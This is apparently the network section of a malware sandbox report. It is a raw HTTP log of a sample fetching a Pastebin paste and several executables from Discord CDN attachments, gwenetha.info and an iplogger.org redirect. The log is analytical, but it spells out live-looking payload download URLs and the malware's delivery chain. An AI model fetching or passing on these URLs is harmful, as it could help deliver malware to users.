Network Analysis

GET /raw/gCyjHCCH HTTP/1.1 Host: pastebin.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 08:00:27 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=da8b4079b955d88615ed078ec5542a6371617782427; expires=Fri, 07-May-21 08:00:27 GMT; path=/; domain=.pastebin.com; HttpOnly; SameSite=Lax; Secure x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 166 cf-request-id: 094cf1e66f0000a5469d205000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Server: cloudflare CF-RAY: 63c1b8ea4ef4a546-NRT

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 08:00:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d10006b7997b57e9bdee9e901830418ed1617782443; expires=Fri, 07-May-21 08:00:43 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094cf223fa00000284389e5000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=j1M417bjIK3UOLpGlgin%2FWQtWNwoV%2FO7pBf%2BETUIKEL4ql7jQmi6CRNG%2BvErayyBKAZF6pnk5X8Z%2BBUqJCHBJpgiuHVlPRANKxF1euA6YCtudYc%3D"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63c1b94cc93b0284-ICN alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400

GET /attachments/826198252025675816/826538114838298715/install_setupVPSfree.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 08:00:43 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=df63f27e2c4f65f46165925b3f90f9a9a1617782443; expires=Fri, 07-May-21 08:00:43 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63c1b94cd8a512d2-ICN Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 08:00:43 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094cf22413000012d28f001000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-UzIES3ueejPVjP8XM8NhGfG5Gb68-rspcdlDl_8kwBl9mSN87j0FjxGbPbFqFXdELXl_1asi1h4clANJmJVb2u_6oATKw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=A6kHV49JHfWOf21ZA3fi8dHsXIdn9Gj4LY3j0E4eVYdD4NYJhw%2FlUo98HXTve%2F2gekQj7ntvX4fsY%2B7AIS9azrM7aQnxz3YkUWgudeoEBmwcyyM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare

GET /attachments/826416818390040589/826469949593485312/file.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 08:00:45 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d3949123ea971236668eccbc924f585091617782444; expires=Fri, 07-May-21 08:00:44 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63c1b9591a780284-ICN Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 08:00:45 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094cf22bb700000284f5b28000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-Uw4ORoAAMo0MoFIkbPDRFkbpCKel3rpj393sCHllDFhwe1hRMcTB-ntZoMtED_YxYjf9oWsiLR0TzjgrmriBjanTg8wAA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=ow%2BfzKmu4T8%2FUtgJI0nCh93wFJguqR7DnyqbkVU5Ux6B3sOV3MRHMPMqmbemfojlhS%2B2O8K2TdccZNUg1W3NIWqfxAOjByq3E6KJqyOQxw6oDag%3D"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /setup-KGQJ-1.exe HTTP/1.1 Host: gwenetha.info Connection: Keep-Alive

GET /2LehR6.exe HTTP/1.1 Host: iplogger.org Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 07 Apr 2021 08:00:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=6qcvivqp73ll0v3on8gsvj9mm1; path=/; HttpOnly Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Pragma: no-cache Set-Cookie: clhf03028ja=175.208.134.150; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=261265738; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Location: https://cdn.discordapp.com/attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe Strict-Transport-Security: max-age=31536000; preload X-Frame-Options: DENY

GET /attachments/826416818390040589/826540039764705360/7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 08:01:13 GMT Content-Type: application/x-msdos-program Content-Length: 505856 Connection: keep-alive Set-Cookie: __cfduid=dd59452a214e40fe337ed09a6b2f526901617782473; expires=Fri, 07-May-21 08:01:13 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63c1ba0ace4b3525-ICN Accept-Ranges: bytes Age: 637482 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=7525b875713675d4ff0018cf084f493a4e4977de_2021-03-30_22-25.exe ETag: "28345a7bb63babaf99e760965ce493b7" Expires: Thu, 07 Apr 2022 08:01:13 GMT Last-Modified: Tue, 30 Mar 2021 19:35:01 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094cf29ac2000035251a993000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1617132901889175 x-goog-hash: crc32c=Ws/4nQ== x-goog-hash: md5=KDRae7Y7q6+Z52CWXOSTtw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 505856 X-GUploader-UploadID: ABg5-UznZNO55X93AubXlWYP0c5SyYOTRHkzDJhcIzrcH58RoyWaPDs0j0jqBmhsS-QvB5VHDoqPplp1xtV5hwkr0kW8h3tVvw X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=THq7kT0o3r6P98D661NA08XoeP4pjvvZFxTguWBRi61ZQvhlknQH7jmO14IUGd%2F%2FzICbyW9PaB3SvLfxlLt%2FQXyl8IQRnuUNAzEWsE%2FHG%2Bd%2BdqY%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare

GET /attachments/826416818390040589/826855866228670474/7525b875715555.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 403 Forbidden Date: Wed, 07 Apr 2021 08:01:21 GMT Content-Type: application/xml; charset=UTF-8 Content-Length: 223 Connection: keep-alive Set-Cookie: __cfduid=d7d94a4c5d7b9055f410c618ddc4f43a81617782481; expires=Fri, 07-May-21 08:01:21 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax CF-Ray: 63c1ba3c99603525-ICN Cache-Control: private, max-age=0 Expires: Wed, 07 Apr 2021 08:01:21 GMT Vary: Accept-Encoding CF-Cache-Status: EXPIRED Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 cf-request-id: 094cf2b9e000003525e4150000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-GUploader-UploadID: ABg5-Uy2Z8vNHdfrPxkI3DnvPplfPs5TYk3Yy_LGkfsCHBsCjptH1ZFcuDDXCJit7ewwNEttndIY2IfDQnKCR7xw5Ga55iTMMA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=9GBEQ7fowFaCt0z6PvzySn5wxR6wXc%2BxabTF%2FwvYKO8m43xE0Yh3toQ%2Bqvl76G%2FH%2F9xtFoNHe878zP5r0kIkX5FL7vryMdKULTN%2B6AOtbVJPxwY%3D"}],"max_age":604800,"group":"cf-nel"} NEL: {"max_age":604800,"report_to":"cf-nel"} Server: cloudflare

GET /attachments/826416818390040589/826531006563352596/Bussed_2021-03-30_21-01.exe HTTP/1.1 Host: cdn.discordapp.com

HTTP/1.1 200 OK Date: Wed, 07 Apr 2021 08:01:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: __cfduid=d35ea22992f2613794fd89e2ffd7a0ce61617782481; expires=Fri, 07-May-21 08:01:21 GMT; path=/; domain=.discordapp.com; HttpOnly; SameSite=Lax X-Frame-Options: SAMEORIGIN cf-request-id: 094cf2bb7b00000a3cec05e000000001 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=3hCAaKt3jy9IUxMnJw9z1oSib9QOEcpXHznGIAxTduQH9jNnfDfqkSMW57R9hk2qKcQcByloXYnF%2FdhDLDAJbfrYX8L%2BmA%2F2p0RecleAHGpVfjs%3D"}]} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 63c1ba3f2c990a3c-KIX alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400